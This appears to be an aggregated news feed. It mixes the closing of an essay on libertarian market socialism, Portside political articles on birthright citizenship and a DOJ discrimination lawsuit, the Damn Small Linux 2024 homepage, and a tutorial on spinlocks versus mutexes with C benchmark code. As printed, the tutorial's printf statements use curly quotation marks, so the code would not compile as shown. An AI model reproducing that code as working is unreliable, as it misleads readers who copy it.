Another core American ideal is anti-monopoly sentiment – from the Boston Tea Party against the East India Company’s tea monopoly, to the antitrust movement of the Progressive Era. Libertarian socialists have always been extreme anti-monopolists. They argue, much like early Americans did about political tyranny, that concentrated economic power is dangerous to liberty and must be broken up. Their answer just happens to be through free competition and mutual aid rather than government regulation – a nuanced difference, but stemming from the same impulse to oppose tyranny. In short, this philosophy takes American libertarianism’s rhetoric of “leave us alone” and gives it a socialist twist: leave us (the people) alone by removing the privileges of the powerful, so that we can freely cooperate on equal footing. It is a vision of “liberty and justice for all” taken to its economic conclusion.

Of course, these alignments with American values have not been widely recognized; indeed, during the 20th century, anything with a whiff of “socialism” was often seen as un-American. But historically, the radical anti-authoritarian strain in America – from the abolitionists and utopian communitarians, to the anarchists like de Cleyre and Parsons, to certain labor movement currents – has always argued that their beliefs realize the original promise of American freedom better than orthodox politics. The mutualists’ emphasis on voluntary federation and self-governance can be seen as a decentralized extension of federalist principles. And their insistence on voluntary cooperation as opposed to both state coercion and harsh competition resonates with civil societal values (church groups, charities, clubs) that are a part of American life.

In the end, while libertarian market socialism has lacked political visibility, it offers a framework where American libertarian ideals and American egalitarian, communitarian ideals meet. It suggests that one need not choose between liberty and equality, or between individual rights and the common good – these can be reconciled in a system of free, cooperative exchange. This perhaps romantic harmony of values remains largely theoretical, but it underpins the claims of advocates that their approach is not a foreign import but “as American as apple pie,” just purified of authoritarian crust and plutocratic worms.

Conclusion: An Underappreciated Alternative

Across two centuries of thought, the pursuit of socialist ends through market means has persisted as a fascinating heterodoxy – “a socialism without central authority, a market without capitalist domination.” This intellectual tradition, from Smith’s moral markets to Marx’s searing critique, from Proudhon’s mutualist sketches to Tucker’s competitive solidarism, and on to Carson and today’s left-libertarians, has continually sought to answer a burning question: Can we have the freedom and efficiency of markets without the injustices of capitalism? Their answer is a qualified yes – if markets are truly freed, stripped of state-granted privilege and restructured around cooperative labor, they could deliver many of the egalitarian outcomes socialists desire.

Historically, this answer was overshadowed by more dominant narratives. Yet the problems it addresses have never gone away. Today’s world of “technocapitalism” – marked by billionaire tech monopolies, surveillance markets, and gig-economy inequalities – in many ways heightens the relevance of the socialist-market critique. It is precisely a “markets un-warped by capitalism” vision that could, for example, empower gig workers to own platforms, or allow communities to control data, or use open-source technology to undermine intellectual property empires. These are modern echoes of old themes: worker ownership, common access to knowledge, and dismantling of rentier monopolies. Likewise, the failures of state-centric models (from the bureaucratic inefficiencies of planned economies to the authoritarian turns of some socialist regimes) underscore the appeal of a decentralized, voluntary, bottom-up approach to achieving justice.

Still, being intellectually marginal and politically homeless means this philosophy advances mostly by persuasion and practice on small scales. It has the potential to be viable – indeed, proponents would say it is more viable than the extremes of laissez-faire or statist socialism, because it balances individual incentive with social well-being. They point to phenomena like the success of worker cooperatives, the resilience of peer-to-peer networks, or the innovation unleashed when patents expire, as evidence that freeing exchange from control actually increases equality and prosperity. And they remind us that historical capitalism did not arise purely from freedom but from force and enclosure 26 25 . Remove the force, open the enclosures, and a different market logic could emerge – one of open competition leading to broadly shared abundance, rather than competition yielding oligarchy.

Whether that will ever happen on a large scale remains uncertain. But the intellectual history traced here serves to keep that possibility visible. It shows a lineage of thinkers and activists who refused to cede “the market” to the capitalists or “social justice” to the statists. They occupy a noble, if lonely, corner of the political imagination – one where Thomas Paine’s fervor for liberty meets Peter Kropotkin’s ethic of mutual aid, where the radical democrats of 1776 meet the cooperators of 2025 . As one modern writer put it, “our ideal society is not Walmart minus the State; it is a community of communities of free people.” 38 Such a society might indeed fulfill the original promise that both socialists and libertarians claim to strive for.

In an age when dissatisfaction with both corporate capitalism and big government is widespread, the underappreciated alternative of market socialism/libertarian socialism could yet inspire new paths. At the very least, this tradition offers a critical lens to analyze why neither markets nor government, as currently structured, have delivered on ideals of freedom or equality. By studying its history, we equip ourselves with ideas to challenge the status quo on multiple fronts. The thinkers from Smith to Carson remind us that another world is possible – one where free individuals freely cooperate, and where “liberty and justice for all” is a reality rather than a slogan. That vision of socialist ends through market means remains a provocative and potentially powerful guide for the future, awaiting those bold enough to carry it forward.

Sources:

  • Adam Smith, The Wealth of Nations – cautioning that business interests often collude “in a conspiracy against the public” 4 .
  • Jeff Shantz, “Mutualism” – overview of Proudhon’s mutualist anarchism, advocating cooperative labor, People’s Banks, and free exchange of equivalent labor 9 10 .
  • Center for a Stateless Society (Sheldon Richman), “Libertarian Left: Free-Market Anti-Capitalism” – outlines Tucker’s views on monopoly vs competition and left-libertarian historical revisionism 6 20 .
  • Markets Not Capitalism (eds. Chartier & Johnson, 2011) – introduction explaining how liberating markets from state privilege can achieve socialist goals like ending poverty and empowering workers 3 .
  • Mises Institute (David Gordon), on the Marginalist Revolution – noting that after the 1870s, the labor theory of value (central to classical and Marxian economics) “was rejected by the vast majority of economists.” 8 .
  • Neon Vagabond (Novatore), “What Is Individualist Anarchism?” – expressing the core idea of “socialist ends through market means” as workers’ self-management, decentralization, and free exchange in the absence of capitalist privilege 1 39 .
  • C4SS (Richman), historical note that 19th-century “socialism” was an umbrella for those believing labor was robbed, and that Tucker identified state capitalism (not true markets) as the enemy, aligning with Proudhon over Marx 7 24 .
  • Voltairine de Cleyre, “Anarchism and American Traditions” – argues that American founders’ libertarian principles point toward anarchism; need to “trust liberty wholly” rather than compromise with authoritarian power 40 (illustrative of American alignment).
  • Additional analyses from C4SS and libertarian-left sources highlighting the left-libertarian expectation of more worker co-ops and less wage hierarchy in a truly free market 36 and the critique of historical capitalism as a coercively “rigged” system rather than a free market 30 26 .

References

The Emancipation Proclamation Offers a Hint on What the Supreme Court Will Do About Birthright Citizenship

Portside
portside.org
2025-12-08 01:57:30
The Emancipation Proclamation Offers a Hint on What the Supreme Court Will Do About Birthright Citizenship Ira Sun, 12/07/2025 - 20:57 ...
Original Article
The Emancipation Proclamation Offers a Hint on What the Supreme Court Will Do About Birthright Citizenship Published

1862: President Abraham Lincoln reading the Emancipation Proclamation, which declared that all those enslaved in rebel-held territory would be "thenceforward, and forever, free." | MPI/Getty Images

Eight score and three years ago—on Sept. 22, 1862—President Abraham Lincoln issued a bold executive order, now known as the Preliminary Emancipation Proclamation , that changed the meaning of the Civil War and bent the arc of American history. In the process, Lincoln also gave today’s Americans a perfect template against which to measure our current president’s boldest executive order, which Donald Trump issued on the first day of his second term.

That order purports to reinterpret the Constitution’s guarantee of birthright citizenship, directing federal officials to withhold citizenship documents such as passports and social security cards from any baby born in the U.S. unless at least one of the newborn’s parents is a U.S. citizen or permanent legal resident. Lower-court judges across the country have strongly opposed this decree, placing it on hold, for now. The Supreme Court will likely rule on the matter sometime soon. A fresh look at Lincoln’s sweeping edict can help us predict how the justices will likely rule on Trump’s sweeping edict, and why.

Before Lincoln issued his preliminary proclamation, the Union’s sole official war aim had been to preserve the Union itself. But Lincoln began to shift that priority, ending his pronouncement with a zinger: Come New Year’s Day , it read, "all persons held as slaves” in rebel territory “shall be then, thenceforward, and forever free.

Yet even as Lincoln pointed toward a future in which millions of Confederate slaves would soon become free, he also endorsed efforts “to colonize persons of African descent, with their consent, upon this continent, or elsewhere.”

As promised, on New Year’s Day, 1863, Lincoln issued the final Emancipation Proclamation . “All persons,” he said, “held as slaves within said designated States, and parts of States, are, and henceforward shall be free.” Lincoln’s final proclamation also featured a thrilling change. All mention of subsidized colonization was gone; in its place was the news that freed men, if of age, could now join the Union Army and Navy—and thereby prove to the world their manhood and just claims to full and equal American citizenship.

Now that Black men were to fight alongside their white brothers in arms, it no longer made sense to see these former bondsmen as Lincoln had once seen them—akin to the Israelite slaves in ancient Egypt, strangers in a strange land, destined for post-liberation emigration to some faraway place. Lincoln now began to envision them as not merely free Americans but also equal Americans, fighting for their native land, the land of their birth .

In law—if not yet in fact, as the Union Army had only begun its work of sweeping the South clean—some three million souls who had gone to sleep enslaved the day before would wake up the next day as free men, women, and children.

By war’s end in early 1865, Lincoln and his allies insisted that America needed to go even further. Not only must all Confederate slaves walk free; so must all enslaved persons in border states that still allowed slavery. Even more sweepingly, slavery itself must end, everywhere, immediately, and forever. This was the platform on which Lincoln won re-election in 1864—a re-election made possible by battlefield triumphs due in large part to Black arms-bearing.

Lincoln did not live to see the final adoption of the 13th Amendment in 1865, which essentially ended slavery everywhere in the U.S. Nor did he live to see three more constitutional amendments—the 14th, 15th, and 19th—that promised not just freedom but full birthright equality to America’s Black citizens, and, later, to America’s women.

Still, it was Lincoln who set the stage for all these amendments. His September proclamation and January refinement precipitated today’s constitutional system, a system based fundamentally on the proposition that all Americans are born equal .

Over the years, critics of Lincoln’s actions have raised three big constitutional questions about his two big proclamations.

First, a federalism question: Did the central government have power to free slaves in individual states?

Yes. The Constitution was designed above all else for “common defense”—a phrase that appeared prominently in the Constitution’s Preamble and again in a later key passage. In order to win a war—especially a war that threatened the nation’s very existence—the federal government enjoyed plenary power to liberate slaves, as nations at war had commonly done long before the Constitution was drafted and ratified. In the Revolutionary War itself, Britain’s Lord Dunmore had emancipated large numbers of southern slaves as a war measure—a fact well-known in both the 1770s and the 1860s.

Second, an executive-power question: Could President Lincoln act without a congressional statute expressly authorizing his proclamations in advance?

Yes . Lincoln was acting hand in glove with Congress, which was controlled by an anti-slavery party that he himself had co-founded and had led to a smashing electoral victory in 1860. His preliminary proclamation quoted at length key passages of Congress’s Second Confiscation Act, which he had signed into law in July 1862. That act had authorized the Union army to liberate a wide swath of enslaved persons who would thereafter be “forever free.” Though Lincoln’s proclamations went even further, they vindicated the emancipatory spirit of that congressional act. Also, the policy that Lincoln announced in mid-September would go into effect only in the new year. Congress thus had plenty of time to object, but never did. Instead, Congress continued to fund Lincoln’s war efforts and to support his general conduct of the war. Lincoln was commander-in-chief of America’s army in a time of an actual and indeed existential war that Congress had expressly, emphatically, and repeatedly blessed in every way. Within broad limits, he thus had both constitutional and statutory authority to wage that war as he saw best.

Third, a rights question: could the government deprive masters of their property rights over slaves?

Yes. At most, a slaveholder might deserve just compensation for the loss of his slave property—an issue that could be litigated in court after the fact of immediate emancipation. Just as a government could take a man’s land to build a fort and take a man’s corn to feed an army, so it could take a man’s slaves to win a war.

In short, in both proclamations Lincoln was a consummate lawyer who paid exquisite attention to questions of constitutionality and scrupulously honored his oath of office to act under the Constitution, not over or outside it.

President Trump’s executive order on birthright citizenship stands in dramatic contrast.

On the federalism question: Nothing in the Constitution authorizes the federal government to deprive native-born Americans of their birthright citizenship.

On the executive-power question: America is not now at war, and the war power expressly claimed by Lincoln in his two proclamations does not apply.

Damn Small Linux

Hacker News
www.damnsmalllinux.org
2025-12-08 01:47:11
Comments...
Original Article

** Be My Hero **

The New DSL 2024 has been reborn as a compact Linux distribution tailored for low-spec x86 computers. It packs a lot of applications into a small package. All the applications are chosen for their functionality, small size, and low dependencies. DSL 2024 also has many text-based applications that make it handy to use in a term window or TTY.

DSL 2024 currently only ships with two window managers: Fluxbox and JWM. Both are lightweight, fairly intuitive, and easy to use.

DSL has four X-based web browsers:

  • Firefox-esr (Extended Support Release, fully HTML5 compatible)
  • NetSurf GTK (quick, easy on RAM, good HTML4 and CSS support)
  • Dillo (super-light GUI browser)
  • Links2 (text and light GUI browser)

For office applications, DSL has:

  • AbiWord word processor
  • Gnumeric spreadsheets
  • Sylpheed email client
  • Zathura PDF viewer

For multimedia applications:

  • MPV (video and audio)
  • XMMS (a lightweight audio player)

Other applications:

  • mtPaint (graphics editing)
  • gFTP (FTP, SFTP, and SCP)
  • Leafpad (quick editing)
  • zzzFM (file manager lifted straight out of antiX)

There are three GUI-based games picked because they are fun and relatively light.

DSL 2024 is also loaded up with a whole bunch of handy term-based applications:

  • Ranger file manager
  • VisiData a powerful CSV and spreadsheet tool
  • FZF fuzzy finder
  • Tmux terminal multiplexer
  • Mutt email client
  • Cmus music player
  • CDW CD burner
  • Htop , an interactive process viewer
  • SurfRaw (with wrapper) to search from the term
  • Weather App
  • MPV video/audio player with wrapper
  • Vim and Nano for editing
  • Five term-based games
  • Two term-compatible web browsers: W3M and Links2
  • ...and much more
Screenshots available here .

Why make a new DSL after all these years?

Creating the original DSL, a versatile 50MB distribution, was a lot of fun and one of the things I am most proud of as a personal accomplishment. However, as a concept, it was in the right place at the right time, and the computer industry has changed a lot since then. While it would be possible to make a bootable Xwindows 50MB distribution today, it would be missing many drivers and have only a handful of very rudimentary applications. People would find such a distribution a fun toy or something to build upon, but it would not be usable for the average computer user out of the gate.

Meanwhile, in 2024, nearly everyone has abandoned the sub-700MB size limit to run on computers old enough to not have a DVD and cannot boot off of a USB drive. This is completely understandable because applications, the kernel, and drivers have all mushroomed in their space requirements. Hats off to Puppy Linux for staying one of the few that still offer a full desktop environment in a small size.

The new goal of DSL is to pack as much usable desktop distribution into an image small enough to fit on a single CD, or a hard limit of 700MB. This project is meant to service older computers and have them continue to be useful far into the future. Such a notion sits well with my values. I think of this project as my way of keeping otherwise usable hardware out of landfills.

As with most things in the GNU/Linux community, this project continues to stand on the shoulders of giants. I am just one guy without a CS degree, so for now, this project is based on antiX 23 i386. AntiX is a fantastic distribution that I think shares much of the same spirit as the original DSL project. AntiX shares pedigree with MEPIS and also leans heavily on the geniuses at Debian. So, this project stands on the shoulders of giants. In other words, DSL 2024 is a humble little project!

Though it may seem comparably ridiculous that 700MB is small in 2024 when DSL was 50MB in 2002, I’ve done a lot of hunting to find small footprint applications, and I had to do some tricks to get a workable desktop into the 700MB limit. To get the size down the ISO currently reduced full language support for German, English, French, Spanish, Portuguese and Brazilian Portuguese (de_DE, en_AU, en_GB, en_US, es_ES, fr_FR, es_ES, pt_PT, & pt_BR ). I had to strip the source codes, many man pages, and documentation out. I do provide a download script that will restore all the missing files, and so far, it seems to be working well.

Unlike the original DSL, this version has apt fully enabled. So if there is anything you feel is missing, it is very simple to get it installed. I also made an effort to leave as much of the antiX goodness enabled as possible. However, it must be said that DSL is a derivative work but also a reductive work. Some things from antiX may be broken or missing. If you find a bug, it is likely my fault.

Where to go from here?
Download The Place to Get the latest ISO
Forums Post about DSL, help other, get help
CDs/USBs/Stickers Buy cool DSL related merch!
Donate You can be my hero !
Historic DSL The 50MB legend is still available
Subscribe to DSL news Get the latest information about DSL
Need Internet Marketing Help? I can do that!

Thank you section:

Thank you Debian and antiX for doing all the heavy lifting.

Thank you ToggleBox.com for VPS Hosting

Thank you GPedde at DeviantArt for the beautiful wallpaper .

Thank you to my wife Jen, of JensFindings , for patient support while I tinker with old computers.

Finally, thank you to the users of DSL for your feedback and support .

Trump DOJ Argues Key Anti-Discrimination Law Doesn’t Apply to Federal Workers

Portside
portside.org
2025-12-08 01:29:14
Trump DOJ Argues Key Anti-Discrimination Law Doesn’t Apply to Federal Workers Ira Sun, 12/07/2025 - 20:29 ...
Original Article
Trump DOJ Argues Key Anti-Discrimination Law Doesn’t Apply to Federal Workers Published

Seal of the U.S. DOJ | DOJ

In a surprising departure from decades of settled law, the Trump Justice Department is making the argument that the anti-discrimination provision of the 1964 Civil Rights Act doesn’t apply to federal workers, according to a new lawsuit filed against it today.

Filed on behalf of a Lebanese-American immigration judge who claims she was fired without explanation, the lawsuit says, “The President of the United States has asserted a constitutional right to discriminate against federal employees.” The fired judge, Tania Nemer, has accused the government of discriminating against her on the basis of sex and national origin.

In addition to accusing the DOJ of discriminating against her on the basis of gender and national origin, Nemer also said the department violated her First Amendment rights by taking action against her because she is a Democrat.

Nemer had run for office in Ohio as a Democrat before being hired in 2023 by the Justice Department to serve as an immigration judge.  Fifteen days after President Donald Trump took office, she was fired, despite receiving the highest possible performance rating, according to the suit.

Title VII of the Civil Rights Act prohibits discrimination in employment based on race, color, religion, sex, or national origin. In 1972, Congress extended Title VII’s critical protections to the federal workforce.

No explanation for the firing was given, the suit says, other than a letter saying that “Ms. Nemer was removed from her position by the Acting Attorney General under the authority of Article II of the United States Constitution.”

Nemer filed a complaint in April with the federal Equal Opportunity Office but, according to her lawsuit, that office did not investigate as required by law. Instead, the office issued a ruling in September asserting that Title VII of the Civil Rights Act “does not constrain discriminatory dismissal against immigration judges because the statute conflicts with the president’s Article II removal power.”

That is a stunning claim, never before asserted by the Justice Department, legal experts say.

“This administration’s vision of a nearly omnipotent, unitary executive with power to determine who does and doesn’t serve in the executive branch is clearly at odds with the law,” said Joyce Vance, a former federal prosecutor and MSNBC legal contributor. “Ultimately, it will be up to the Supreme Court to act as the check on this unconstitutional exercise of power.”

The Justice Department declined to comment.

“The government’s legal theory reflects an unprecedented assault by the current Administration against the civil service laws that protect millions of federal employees,” the lawsuit says. “If the government prevails in transforming the law, it will eviscerate the professional, non-partisan civil service as we know it.”

Nemer’s lawsuit asks for her to be reinstated to her position, as well as full back pay and other compensatory damages.  The suit was filed by Nathan Zelinsky, co-founder of Washington Litigation Group, which has been representing  federal employees who claim to have been targeted by the Trump Administration.


Ken Dilanian is the justice and intelligence correspondent for MS NOW.

2026: A Year of Reckoning

Portside
portside.org
2025-12-08 01:00:27
2026: A Year of Reckoning jay Sun, 12/07/2025 - 20:00 ...
Original Article

Solidarity Forever--a Depression era poster by Anita Wilcox // Heretic, Rebel, a Thing to Flout

Millions demonstrated. Cities mobilized in defense of their people. Judges and juries upheld the law. Voters laid the basis for revoking the 2024 balance of power and issuing a new mandate for progressive change.

We have the power to make 2026 a year of reckoning, of decisive defeats for the MAGA movement. We believe that a revitalized Left, with its vision of a multiracial democratic and working-class movement, is key to ousting the MAGA crowd at every level of government in every region of the country.

This is a time for incisive analysis and bold initiatives, for strategizing and organizing for real change. For devising new tactics and thinking big about what can be achieved. We at Portside will be working to provide you and other readers the best strategic thinking and analysis we can find from a multitude of sources. We will continue to reflect the struggles, in our country and globally, for peace, security and justice. Once a year we ask you to help us do that.

Support This Vision

This year showed what it looks like for people to make their own history.

New York voters generated a political thunderclap by electing a democratic socialist mayor. California answered Trump’s gerrymander. Chicago gave new meaning to whistleblowing and Portland launched the Frog Brigade. Each such creative act inspires new actions.

By these actions and many more, people punctured the facade of racist and reactionary omnipotence and created a new political reality. We believe that is a signal of what is to come. We look forward to many more reckonings in 2026.

Every day we search the Internet for examples of people making history, including frontline reporting, cogent argument, culture and humor. We look for and share insights from science. Every day, we share the best that we find with you.

To receive a short daily update of these materials, subscribe to Portside Snapshot .

As you probably know, we moderators of Portside work on an entirely volunteer basis. We’re rewarded by the readers who put the information we provide to use to secure a better future, to advance toward a qualitatively more just society.

We pledge to keep doing what we've been doing. We ask you to help us by donating to keep our servers running and our website current.

Support This Vision

We are delighted that in the last year visits to the Portside website tripled. More people are recommending material and more authors are submitting their writings for consideration. We are dedicated to serving as your eyes and ears in the digital universe. Keep sending your input to either portside@portside.org or reader comments .

Please contribute to keep this project going. We promise to make every donation go a long way toward the future we seek together. We don’t ask our readers for financial support often. If you want to be a part of this project and to keep it going strong, this is the time to support Portside.

Yours in struggle,

The entire Portside crew

Judy Atkins, Jonathan Bennett, Mark Brody, Barry Cohen, David Cohen, Ira Cohen, Jeannette Ferrary, Marti Garza, Greg Heires, Geoffrey Jacques, Will Jones, Maureen LaMar, Stephanie Luce, Ray Markey, John P. Pittman, Natalie Reuss, Lee Rossi, Nan Rubin, Meredith Schafer, Jay Schaffner, Kurt Stand, Ethan Young

Checks should be made payable to PORTSIDE and sent to:

Portside
355 Eighth Avenue #1J
New York, NY 10001-4839

Spinlocks vs. Mutexes: When to Spin and When to Sleep

Hacker News
howtech.substack.com
2025-12-08 00:38:44
Comments...
Original Article

You’re staring at perf top showing 60% CPU time in pthread_mutex_lock . Your latency is in the toilet. Someone suggests “just use a spinlock” and suddenly your 16-core server is pegged at 100% doing nothing useful. This is the synchronization primitive trap, and most engineers step right into it because nobody explains when each primitive actually makes sense.

Mutexes sleep. Spinlocks burn CPU. Both protect your critical section, but they fail in opposite ways. A mutex that sleeps for 3 microseconds is a disaster when your critical section is 50 nanoseconds. A spinlock that burns CPU for 10 milliseconds is a waste when you could’ve let the thread do other work.

Here’s what actually happens. A spinlock does a LOCK CMPXCHG in userspace—an atomic compare-and-swap that keeps looping until it wins. Zero syscalls, but 100% CPU usage while waiting. Every failed attempt bounces the cache line between CPU cores at ~40-80ns per bounce. With four threads fighting over one lock, you’re just burning electricity.

A mutex tries userspace first with a futex fast path, but when contention hits, it calls futex(FUTEX_WAIT) . That’s a syscall (~500ns), a context switch (~3-5μs), and your thread goes to sleep. When the lock releases, another syscall wakes you up. The thread scheduler gets involved. You pay the full cost of sleeping and waking.

Spinlocks are dangerous in preemptible contexts. Your thread holds the spinlock, gets preempted by the scheduler, and now three other threads are spinning for the full timeslice (100ms on Linux). They’re burning CPU waiting for a thread that isn’t even running. This is why the Linux kernel disables preemption around spinlocks—but you can’t do that in userspace.

Mutex fast paths are actually pretty fast. Glibc’s pthread mutex does an atomic operation first, just like a spinlock. Only when that fails does it call futex(). An uncontended mutex costs 25-50ns, not the microseconds you’d expect from syscall overhead. The syscall only happens under contention.

Priority inversion will bite you. Low-priority thread holds a spinlock. High-priority thread starts spinning. Low-priority thread never gets CPU time because the high-priority thread is hogging the CPU spinning. Deadlock. Priority Inheritance (PI) mutexes solve this by temporarily boosting the lock holder’s priority. Spinlocks can’t do that.

Cache line bouncing is your enemy. Every atomic operation invalidates the cache line on all other CPUs. Put two different spinlocks on the same 64-byte cache line (false sharing) and they contend even though they’re protecting different data. Modern allocators pad locks to cache line boundaries— alignas(64) in C++ or __attribute__((aligned(64))) in C.

Critical section under 100ns, low contention (2-4 threads): Spinlock. You’ll waste less time spinning than you would on a context switch.

Critical section 100ns-10μs, moderate contention: Hybrid mutex (glibc adaptive mutex spins briefly then sleeps). PostgreSQL’s LWLock does exactly this.

Critical section over 10μs or high contention: Regular mutex. Let the scheduler do its job. Spinning wastes CPU that could run other threads.

Real-time requirements: Priority Inheritance mutex on a PREEMPT_RT kernel. Spinlocks cause priority inversion. Bounded latency matters more than average-case performance.

Run perf stat -e context-switches,cache-misses on your process. High context-switches with low CPU usage means mutex overhead might be killing you—consider adaptive mutexes. High cache-misses with 100% CPU usage means cache line bouncing—your locks are too contended or you have false sharing.

Use strace -c to count syscalls. Every futex() call is a contended mutex. If you’re seeing millions per second, you have a hot lock that might benefit from sharding or lock-free techniques.

Check /proc/PID/status for voluntary vs involuntary context switches. Voluntary switches are threads yielding or blocking—normal. Involuntary switches mean the scheduler is preempting threads, possibly while they hold spinlocks.

Redis uses spinlocks for its tiny job queue because critical sections are under 50ns. PostgreSQL’s buffer pool uses spinlocks for lookup operations (nanoseconds) but mutexes for I/O operations (milliseconds). Nginx avoids the problem entirely with a multi-process architecture—no shared memory means no locks.

The Linux kernel learned this the hard way. Early 2.6 kernels used spinlocks everywhere, wasting 10-20% CPU on contended locks because preemption would stretch what should’ve been 100ns holds into milliseconds. Modern kernels use mutexes for most subsystems.

Your job is knowing your hold time and contention level. Profile with perf, measure with rdtsc, and choose the primitive that wastes the least time. A spinlock that spins for 200ns is fine. A spinlock that spins for 10ms is catastrophic. A mutex that sleeps for 5μs is fine. A mutex that sleeps for 20ns worth of work is wasteful.

The right answer isn’t “always use X.” It’s “measure your critical section, count your threads, and pick the tool that matches your problem.”

Let’s prove everything we just discussed with working code. You’ll build two programs—one using a spinlock, one using a mutex—and watch them behave exactly as described above.

https://github.com/sysdr/howtech/tree/main/spinlock_vs_mutexes/generated

Three programs that work together:

A spinlock test that keeps your CPU at 100% while threads fight for the lock. A mutex test where threads politely sleep when blocked. A monitor that watches both programs live and shows you the CPU usage and context switch differences in real time.

First, we build a custom spinlock using C11 atomic operations. The key is atomic_compare_exchange_weak —it reads the lock, checks if it’s 0 (unlocked), and if so, sets it to 1 (locked) all in one atomic instruction. If someone else holds the lock, it keeps trying in a loop.

Save this as spinlock_test.c :

c

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <stdatomic.h>
#include <time.h>
#include <sched.h>

#define NUM_THREADS 4
#define ITERATIONS 1000000
#define HOLD_TIME_NS 100

typedef struct {
    atomic_int lock;
    long counter;
} spinlock_t;

void spinlock_acquire(spinlock_t *s) {
    int expected;
    do {
        expected = 0;
    } while (!atomic_compare_exchange_weak(&s->lock, &expected, 1));
}

void spinlock_release(spinlock_t *s) {
    atomic_store(&s->lock, 0);
}

void* worker_thread(void *arg) {
    spinlock_t *lock = (spinlock_t *)arg;
    
    for (long i = 0; i < ITERATIONS; i++) {
        spinlock_acquire(lock);
        lock->counter++;
        // Simulate 100ns of work
        for (volatile int j = 0; j < 10; j++);
        spinlock_release(lock);
    }
    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];
    spinlock_t lock = { .lock = 0, .counter = 0 };
    struct timespec start, end;
    
    clock_gettime(CLOCK_MONOTONIC, &start);
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, worker_thread, &lock);
    }
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }
    
    clock_gettime(CLOCK_MONOTONIC, &end);
    
    double elapsed = (end.tv_sec - start.tv_sec) + 
                     (end.tv_nsec - start.tv_nsec) / 1e9;
    
    printf(”SPINLOCK Results:\n”);
    printf(”  Final counter: %ld\n”, lock.counter);
    printf(”  Time: %.3f seconds\n”, elapsed);
    printf(”  Operations/sec: %.0f\n”, (NUM_THREADS * ITERATIONS) / elapsed);
    printf(”  CPU usage: 100%% (busy-waiting)\n”);
    
    return 0;
}

The atomic_compare_exchange_weak does the magic. It’s a single CPU instruction ( LOCK CMPXCHG on x86) that atomically checks and sets the lock. The “weak” version might fail spuriously on some architectures, but that’s fine—we’re looping anyway.

Now the mutex version. This uses pthread_mutex_t which calls futex() when contention happens. Threads sleep instead of spinning.

Save this as mutex_test.c :

c

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <time.h>

#define NUM_THREADS 4
#define ITERATIONS 1000000

typedef struct {
    pthread_mutex_t mutex;
    long counter;
} mutex_lock_t;

void* worker_thread(void *arg) {
    mutex_lock_t *lock = (mutex_lock_t *)arg;
    
    for (long i = 0; i < ITERATIONS; i++) {
        pthread_mutex_lock(&lock->mutex);
        lock->counter++;
        for (volatile int j = 0; j < 10; j++);
        pthread_mutex_unlock(&lock->mutex);
    }
    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];
    mutex_lock_t lock = { .mutex = PTHREAD_MUTEX_INITIALIZER, .counter = 0 };
    struct timespec start, end;
    
    clock_gettime(CLOCK_MONOTONIC, &start);
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, worker_thread, &lock);
    }
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }
    
    clock_gettime(CLOCK_MONOTONIC, &end);
    
    double elapsed = (end.tv_sec - start.tv_sec) + 
                     (end.tv_nsec - start.tv_nsec) / 1e9;
    
    printf(”MUTEX Results:\n”);
    printf(”  Final counter: %ld\n”, lock.counter);
    printf(”  Time: %.3f seconds\n”, elapsed);
    printf(”  Operations/sec: %.0f\n”, (NUM_THREADS * ITERATIONS) / elapsed);
    printf(”  CPU efficient (threads sleep when blocked)\n”);
    
    pthread_mutex_destroy(&lock.mutex);
    return 0;
}

Compile both programs with these flags:

bash

gcc -Wall -Wextra -O2 -pthread spinlock_test.c -o spinlock_test
gcc -Wall -Wextra -O2 -pthread mutex_test.c -o mutex_test

The -pthread flag links the pthread library. -O2 enables optimizations without messing up our timing measurements.

Run the spinlock test and watch your CPU usage spike to 100%:

bash

./spinlock_test

While it’s running, open another terminal and check CPU usage:

bash

top -p $(pgrep spinlock_test)

You’ll see all four threads at 100% CPU. They’re spinning, waiting for the lock.

Now run the mutex test:

bash

./mutex_test

Check its CPU usage the same way. You’ll see much lower CPU usage because threads sleep when blocked instead of spinning.

This is where it gets interesting. Use strace to see what syscalls each program makes:

bash

strace -c ./spinlock_test

Look at the syscall summary. You’ll see almost no futex calls. The spinlock never talks to the kernel—it’s all userspace atomic operations.

Now trace the mutex version:

bash

strace -c ./mutex_test

Count those futex calls. Thousands of them. Every time a thread can’t acquire the lock, it calls futex(FUTEX_WAIT) to sleep. When the lock is released, another futex(FUTEX_WAKE) wakes it up. That’s the syscall overhead we talked about.

Look at the /proc filesystem to see context switches:

bash

# While spinlock_test is running in another terminal:
cat /proc/$(pgrep spinlock_test)/status | grep ctxt

# Then for mutex_test:
cat /proc/$(pgrep mutex_test)/status | grep ctxt

Spinlock will show very few voluntary context switches—threads never voluntarily give up the CPU. Mutex will show thousands of voluntary switches—threads sleeping and waking.

If you have perf installed, this shows cache behavior:

bash

perf stat -e cache-misses,cache-references ./spinlock_test
perf stat -e cache-misses,cache-references ./mutex_test

Spinlock will show a higher cache miss rate. That’s the cache line bouncing between CPUs as threads fight for the lock.

Try changing NUM_THREADS to 2, 8, or 16. Watch how spinlock performance degrades with more threads—more CPUs spinning means more wasted cycles. Mutex handles it better because only one thread runs at a time while others sleep.

Change HOLD_TIME_NS by adjusting the busy-wait loop. Make it longer (more iterations) and watch the spinlock waste even more CPU. This proves the point: spinlocks are only good for very short critical sections.

You built working implementations of both primitives and saw the exact behavior we described. Spinlocks burn CPU but have low latency for short holds. Mutexes use syscalls and context switches but keep your CPU available for real work. The choice depends on your critical section duration and contention level.

Now you understand why Redis uses spinlocks for nanosecond operations but PostgreSQL uses mutexes for longer database operations. You’ve seen the futex syscalls, measured the context switches, and watched the CPU usage yourself. This isn’t theory—it’s how production systems actually work.

Nikolai Gogol’s Department of Government Efficiency

Portside
portside.org
2025-12-08 00:31:41
Nikolai Gogol’s Department of Government Efficiency Ira Sun, 12/07/2025 - 19:31 ...
Original Article

Almost two centuries after its opening night, Gogol’s five-act satirical play The Government Inspector continues to create a stir with every performance, seemingly no matter where. Maybe because corruption and self-serving double-talk aren’t just familiar features of 19th-century Russia, but have become ingrained facets of all systems of government and officialdom, making them recognizable to Gogol’s audiences whatever their language and culture.

